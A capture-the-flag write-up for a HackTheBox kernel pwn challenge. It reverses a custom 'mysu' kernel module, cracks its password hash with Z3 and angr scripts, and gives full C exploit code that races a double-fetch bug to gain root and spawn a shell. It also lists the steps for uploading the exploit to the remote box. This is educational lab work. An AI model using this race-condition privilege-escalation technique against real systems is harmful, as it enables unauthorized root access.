← Back to Writeups
HTBN/APwn

Kernel Adventures: Part 1

XESXOR8/23/20267 min read
#pwn#htb#n/a

Kernel Adventures: Part 1

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

SUID binaries are too vulnerable. So I decided to implement su in the Kernel.

Solution Approach

Core idea: Source code review. Exploiting race condition vuln.

Steps

  1. In this challenge we're given the kernel environment setup.

  2. Let us extract the Linux file system.

cp rootfs.cpio.gz rootfs.cpio.gz.backup
gunzip rootfs.cpio.gz
sudo cpio -i < rootfs.cpio
mv rootfs.cpio.gz.backup rootfs.cpio.gz
  1. Noticed that our kernel module name is mysu.ko.
  2. Upon decompiled the binary using ghidra, seems there are only 3 functions to interact with the module.

REVIEWING dav_open()

  1. Function dav_open() shall not be our interest here, it just print "opened" once it's called.

REVIEWING dav_read()

  1. Function dav_read() reads up to 32 bytes of data from source &users, then copies it to a buffer named param_2.
  2. If the bytes is bigger than 32, it then returns 32. Otherwise, it just returns the number of bytes copied.

REVIEWING dav_write()

  1. If you noticed, dav_write() behavior is set to be similar to write@plt function.

  2. param2 is our content, param3 is the size of our content, and param1 performed as file descriptor (fd).

  3. If the size of our content is less than 8, then it the binary is terminated.

  4. Next, it check whether the contents of param2 are equal to a global var named users.

  5. Afterwards, the module takes the next bytes of our input data (param2 + 1) and calc the hash. If the hash match to 0x0, then we jumped to label LAB_0010017E. This label uses functio prepare_creds and commit_creds to switch user. Our intention is to gained root by passing the 0 to it.

  6. This is our current privilege.

  7. We can further check that by running readelf to mysu.ko and check for the .data section.

NOTES:

Every initialized global variable that is not 0, is stored at .DATA_ADDRESS section.

READELF

  1. Anyway, the vuln is at the condition where it taking again our input data from param2. It could introduce as Race Condition.
  2. So when the check is passed at the beginning and we jump to label LAB_0010017e, we change our UID to 0 (root). Afterward the module shall perform commit_creds(prepare_creds(0)).
  3. This type of attack in kernel exploitation is called Double Fetch.

CONCERN

  1. The only concern for race condition in operating system is due to the absence of Mutual Exclusion (Mutex) or Binary Semaphore.
[MUTEX]
- Is a locking mechanism used to ensure that only one thread
or process can access a resource at a time.

[BINARY SEMAPHORE]
- Is a signaling mechanism that can have only 2 values, 0 and 1.
It is similar to mutex but has differences in usage and behavior.
  1. Upon reviewing at the init_module() function, mutex or semaphore both are absence. Hence we could gain Race Condition to change our UID to root.

  2. Seems we found the bug now.

  3. First, let us get the expected hash to find a valid password. Execute run.sh file to start the kernel emulation.

  4. To get the expected hash, run dd from /dev/mysu to extract the users variable we saw before.

dd if=/dev/mysu count=4 | xxd
  1. Well, if you remembered the notes.txt file at the beginning. It states that the password hashes is removed. But it should not be 0.
  2. Let us check at the remote server.

REMOTE SERVER

  1. So the expected hash in hex format is 0x03319f75.
  2. To obtain this hash, we have to use the same hashing function found in the mysu.ko.

The hashing function

  1. Since the valid password length is 8 bytes, meaning 2 to the power of 68 and very time consuming because the only way to get the valid pass is by bruteforcing it.
  2. To speed up the process, we can use angr or z3 library in python. But in this writeup I will show the result for using both. Also we need to compile the C hash function so we can validate whether our password is correct.

SCRIPT TO BRUTEFORCE --> using Z3

from pwn import *
import os
from z3 import *

result = 0
target_hash = 0x03319f75
byte_array = [BitVec(f'byte index {i}', 8) for i in range(8)]

for byte in byte_array:
    extended_byte = SignExt(24, byte)
    intermediate_res = (result + extended_byte) * 0x401 # 1025
    result = intermediate_res ^ LShR(intermediate_res, 6) ^ extended_byte

### Create a Z3 solver instance

solver = Solver()

### Constraint to solver, that the calc hash must equal to targ hash.

solver.add(result == target_hash)

### if constraint is satisfiable

if solver.check() == sat:
    model = solver.model()
    log.success(f'Correct hash found')
    # print result
    print(bytes(model[byte].as_long() for byte in byte_array))

NOTES:

1. Using SignExt because char type in C is signed.
2. Using LShR to perform logical bit-shift.

THE C SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

unsigned int hash(char *string) {
  int i;
  unsigned int uvar1;
  unsigned int res;

  res = 0;

  for (i = 0; i < strlen(string); i++) {  
    uvar1 = (res + string[i]) * 0x401;
    res = uvar1 ^ uvar1 >> 6 ^ string[i];
  }

  return res;
}

int main() {
  char password[8];
  scanf("%s", password);
  getchar();

  if (hash(password) == 0x03319f75) {
    puts("Yes");
  } else {
    puts("Nope");
  }

  return 0;
}

WITH ANGR

from pwn import *
import os 
import angr

exe = angr.Project('./hash-bin')

### create the initial state of the program (at the entry point)

init_state = exe.factory.entry_state()

### create a simulation manager to manage the exploration of states

sim_manager = exe.factory.simulation_manager(init_state)

### explore the state space to find a state where "Yes" is printed to fd 1 (stdout)

sim_manager.explore(find=lambda state: b'Yes\n' in state.posix.dumps(1))

if sim_manager.found:
    found_state = sim_manager.found[0]
    pass_bytes = found_state.posix.dumps(0) # extract input

    # conver the input bytes to a list of hex strings
    pass_hex = (hex(byte) for byte in pass_bytes)
    print(', '.join(pass_hex))

RESULT WITH ANGR

  1. Nice! Now let us craft our exploit.
  2. Remembering we're going to abuse a Double Fetch, hence using 2 threads shall required to win the race.
  3. One thread is used to continuously changing our UID to 0 in our input data.
  4. The other one is used to continuously changing our UID to 1000 in our input data.
  5. There should be a moment where, the module checks our UID (at this rate is 1000), then we passed. Afterwards our UID changed to 0 before the module fetch the user input data again to call commit_creds(prepare_creds()).
  6. Finally. once our UID is changed to 0, we stop all running threads.

EXPLOIT C CODE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>

// consist of user UID and calculated hash
char user_uid[] = {
  0xe8, 0x03, 0x00, 0x00,
  0x6e, 0x63, 0x7b, 0x89,
  0x00, 0x02, 0x02, 0x08
};

int flag = 0;

void *get_root(void *args){
    int fd; 
    while(!flag){
        user_uid[0] = 0;
        user_uid[1] = 0;
        fd = open("/dev/mysu", O_RDWR); // open /dev/mysu with read and write permission
        write(fd, user_uid, sizeof(user_uid));
        close(fd);
        
        // checker for root uid.
        if (getuid() == 0){
            flag = 1;
            system("/bin/sh");
        }
    }
}

void *get_user(void *args){
    int fd; 
    while(!flag){
        user_uid[0] = 0xe8;
        user_uid[1] = 0x03;
        fd = open("/dev/mysu", O_RDWR); // open /dev/mysu with read and write permission
        write(fd, user_uid, sizeof(user_uid));
        close(fd);
        
        // checker for root uid.
        if (getuid() == 0){
            flag = 1;
            system("/bin/sh");
        }
    }
}

int main(void){

    pthread_t thread_root;
    pthread_t thread_user;

    // create 2 threads
    pthread_create(&thread_root, NULL, get_root, NULL);
    pthread_create(&thread_user, NULL, get_user, NULL);

    pthread_join(thread_root, NULL);
    pthread_join(thread_user, NULL);

    return 0;
}
  1. Now to send our exploit to the remote server is quite tricky.
  2. What I did is to gzip our exploit binary first, then grab the base64 encoded.
  3. Afterwards, decode it at the remote server and unzip it again.

STEPS

1. At our local machine do:

gcc exploit.c -l pthread -o exploit
gzip exploit
base64 exploit

2. At the remote server

[+] Need to move to /tmp, the only dir that is writeable.

cd /tmp
echo "YOUR_BASE64" > /tmp/exploit.gz.b64
base64 -d exploit.gz.b64
gzip -d exploit.gz
chmod +x exploit
./exploit
  1. We've pwned it!!

Flag

REDACTED

Lessons Learned

  1. Source code review.
  2. Exploiting race condition vuln.
  3. Password Hash Cracking.
  4. Implement double fetch exploitation.